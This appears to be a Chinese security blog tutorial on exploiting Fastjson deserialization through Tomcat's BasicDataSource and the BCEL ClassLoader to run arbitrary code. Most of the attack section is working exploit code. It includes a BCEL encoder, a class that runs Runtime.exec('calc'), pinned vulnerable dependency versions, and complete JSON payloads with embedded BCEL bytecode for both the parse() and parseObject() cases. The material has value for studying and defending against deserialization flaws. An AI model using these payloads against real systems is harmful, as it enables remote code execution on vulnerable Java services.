目錄
關于BCEL
BCEL的惡意利用demo
FastJson配合BCEL初始化任意類
parse情況下后天精心構造彌補先天之不足
exp
參考文章:
BCEL ClassLoader去哪了
Java動態類加載,當FastJson遇到內網
關于BCEL
BCEL(Byte Code Engineering Library)的全名是Apache Commons BCEL,屬于Apache Commons項目下的一個子項目,BCEL庫提供了一系列用于分析、創建、修改Java Class文件的API。相較Commons Collections,BCEL被包含在原生JDK中,更容易被利用。
BCEL Classloader在 JDK < 8u251之前是在rt.jar里面
在Tomcat中也會存在相關的依賴
tomcat7:org.apache.tomcat.dbcp.dbcp.BasicDataSource
tomcat8+:org.apache.tomcat.dbcp.dbcp2.BasicDataSource
com.sun.org.apache.bcel.internal.util.ClassLoader重寫了Java內置的ClassLoader#loadClass()方法,會判斷類名是否是$$BCEL$$開頭,如果是的話,將會對這個字符串進行decode。可以理解為是傳統字節碼的HEX編碼,再將反斜線替換成$。默認情況下外層還會加一層GZip壓縮。
BCEL的惡意利用demo
-
Repository
用于將一個Java Class
先轉換成原生字節碼(也可以用javac命令) -
Utility
用于將原生的字節碼轉換成BCEL格式的字節碼
package com.FJ;import java.io.IOException;public class calc {public calc() throws IOException {Runtime.getRuntime().exec("calc");}
}
package com.FJ;import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;import java.io.IOException;public class BcelTest {public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {JavaClass cls = Repository.lookupClass(calc.class);String code = Utility.encode(cls.getBytes(),true);System.out.println("$$BCEL$$"+code);// 加載類并實例化new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();}
}
FastJson配合BCEL初始化任意類
在之前的文章我們已經介紹過了TemplatesImpl,JdbcRowSetImpl鏈,當不出網也不開啟Feature.SupportNonPublicField的時候,我們需要BasicDataSource這條鏈
調用鏈:getConnection()->createDataSource()->createConnectionFactory()->createDriver()
我們簡單看下BasicDataSource#createDriver
static Driver createDriver(BasicDataSource basicDataSource) throws SQLException {Driver driverToUse = basicDataSource.getDriver();String driverClassName = basicDataSource.getDriverClassName();ClassLoader driverClassLoader = basicDataSource.getDriverClassLoader();String url = basicDataSource.getUrl();if (driverToUse == null) {Class<?> driverFromCCL = null;String message;if (driverClassName != null) {try {try {if (driverClassLoader == null) {driverFromCCL = Class.forName(driverClassName);} else {driverFromCCL = Class.forName(driverClassName, true, driverClassLoader);}} catch (ClassNotFoundException var8) {driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(driverClassName);}} catch (Exception var9) {message = "Cannot load JDBC driver class '" + driverClassName + "'";basicDataSource.log(message, var9);throw new SQLException(message, var9);}}try {if (driverFromCCL == null) {driverToUse = DriverManager.getDriver(url);} else {driverToUse = (Driver)driverFromCCL.getConstructor().newInstance();if (!driverToUse.acceptsURL(url)) {throw new SQLException("No suitable driver", "08001");}}} catch (Exception var10) {message = "Cannot create JDBC driver of class '" + (driverClassName != null ? driverClassName : "") + "' for connect URL '" + url + "'";basicDataSource.log(message, var10);throw new SQLException(message, var10);}}return driverToUse;}
Class.forname當將initial參數設置為true時,表示希望初始化該類。這意味著除了加載類之外,還會觸發該類的初始化操作,包括執行靜態初始化塊和靜態變量賦值等。
然后driverClassName和driverClassLoader都是我們可控的,這不為所欲為了,BCELClassLoader會直接從 classname 中提取 Class 的 字節碼。那么我們就可以設置??driverClassLoader???為com.sun.org.apache.bcel.internal.util.ClassLoader???,設置??driverClassName??為惡意的BCEL格式的字節碼,配合BCEL初始化任意惡意對象。
但遺憾的是
FastJson中的 parse() 會識別并調用目標類的 setter 方法及某些特定條件的 getter 方法,而 parseObject() 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法。
所謂特定條件條件便是返回值類型繼承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法
當反序列化的方法為parse()時getConnection不滿足fastjson對自動調用getter的要求(返回值類型繼承自Collection或Map或AtomicBoolean或AtomicInteger)
但我們可以通過精心構造EXP來彌補先天之不足:
parse情況下后天精心構造彌補先天之不足
首先在??{“@type”: “org.apache.tomcat.dbcp.dbcp2.BasicDataSource”……}??? 這一整段外面再套一層??{}??,這樣的話會把這個整體當做一個JSONObject,會把這個當做key,值為xxx。在??DefaultJSONParser.parseObject??方法后面會調用key的toString方法
key為??JSONObject??對象,會調用該對象的toString方法。而且JSONObject是Map的子類,當調用??toString??的時候,會依次調用該類的getter方法獲取值。然后會以字符串的形式輸出出來。所以會調用到??BasicDataSource#getConnection??方法。
從而達成為所欲為的目的。
exp
pom依賴
<dependency><groupId>org.apache.tomcat</groupId><artifactId>tomcat-dbcp</artifactId><version>8.5.45</version></dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.23</version></dependency>
彈計算器的奇妙咒語(parse版)
package com.FJ;import com.alibaba.fastjson.JSON;public class FJ {public static void main(String[] args) {String payload ="{\n"+ " {\n"+ " \"aaa\": {\n"+ " \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n"+ " \"driverClassLoader\": {\n"+ " \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n"+ " },\n"+ " \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n"+ " }\n"+ " }:\"xxx\"\n"+ "}";JSON.parse(payload);}
}
?
但parseObject() 由于多執行了 JSON.toJSON(obj),所以在處理過程中會調用反序列化目標類的所有 setter 和 getter 方法,就不需要這么麻煩。
直接用最原始而樸素的exp來打
package com.FJ;import com.alibaba.fastjson.JSON;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;public class FJ {public static void main(String[] args) {String payload ="{\n" +" \"@type\": \"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\n" +" \"driverClassLoader\": {\n" +" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +" },\n" +" \"driverClassName\": \"$$BCEL$$$l$8b$I$A$A$A$A$A$A$AuQ$cbn$daP$Q$3d$X$M6$8e$J$8f$U$f2h$9e$7d$C$L$yu$L$ea$a6J7u$93$wD$e9$fa$fa$e6$8a$5e062$97$88$3f$ea$9a$N$ad$ba$e8$H$f4$a3$aa$ccu$9eRZK$9e$f1$9c$99s$e6$8c$fc$e7$ef$af$df$A$de$e1$8d$L$H$9b$$$b6$b0$ed$60$c7$e4$e76v$5d$U$b0gc$df$c6$BC$b1$afb$a5$df3$e4$5b$ed$L$G$ebCr$v$Z$w$81$8a$e5$c9$7c$S$ca$f4$9c$87$R$n$f5$m$R$3c$ba$e0$a92$f5$zh$e9oj$c6$b0$j$88d$e2_$f2t$y$d30Y$f8$a1$90$91$7f$7c$a5$a2$k$83$d3$X$d1$ed$GF$8cF0$e2W$dc$8fx$3c$f4$8f$XBN$b5Jb$g$x$P4$X$e3$cf$7c$9a$v$93I$Gw$90$ccS$n$3f$w$b3$a9d$e4$ba$86$eb$a1$E$d7$c6$a1$87$p$bc$m$7dr$r$bar$n$3d$bc$c4$x$86$8d$7f$e8$7bx$N$97a$f3$3f$$$Z$aa$P$a4$d3p$q$85f$a8$3d$40g$f3X$ab$J$99p$87R$df$X$8dV$3bx2C$97X$e4E0$bcm$3d$ea$Ot$aa$e2a$ef1$e1K$9a$I9$9b$R$a12$a5$a6$ce$ee$3fO$b9$90t$97M$bf$cd$3c90s$z$c55$aa$7c$ca$8cr$a1$f3$Dl$99$b5$3d$8a$c5$M$cc$a3L$d1$bb$Z$c0$3a$w$94$jT$ef$c9$3c$T$D$ea$3f$91$ab$e7W$b0$be$7e$87$f3$a9$b3Bq$99$e1$r$e2$WH$c5$u6$e9$cb$e8$962$d4$se$H5R$ba$dbP$86Eu$9d$aa$Nzm$e4$C$h$cf$yj42S$cdk$dfl$i$C$80$C$A$A\"\n" +"}\n";JSON.parseObject(payload);BasicDataSource basicDataSource = new BasicDataSource();}
}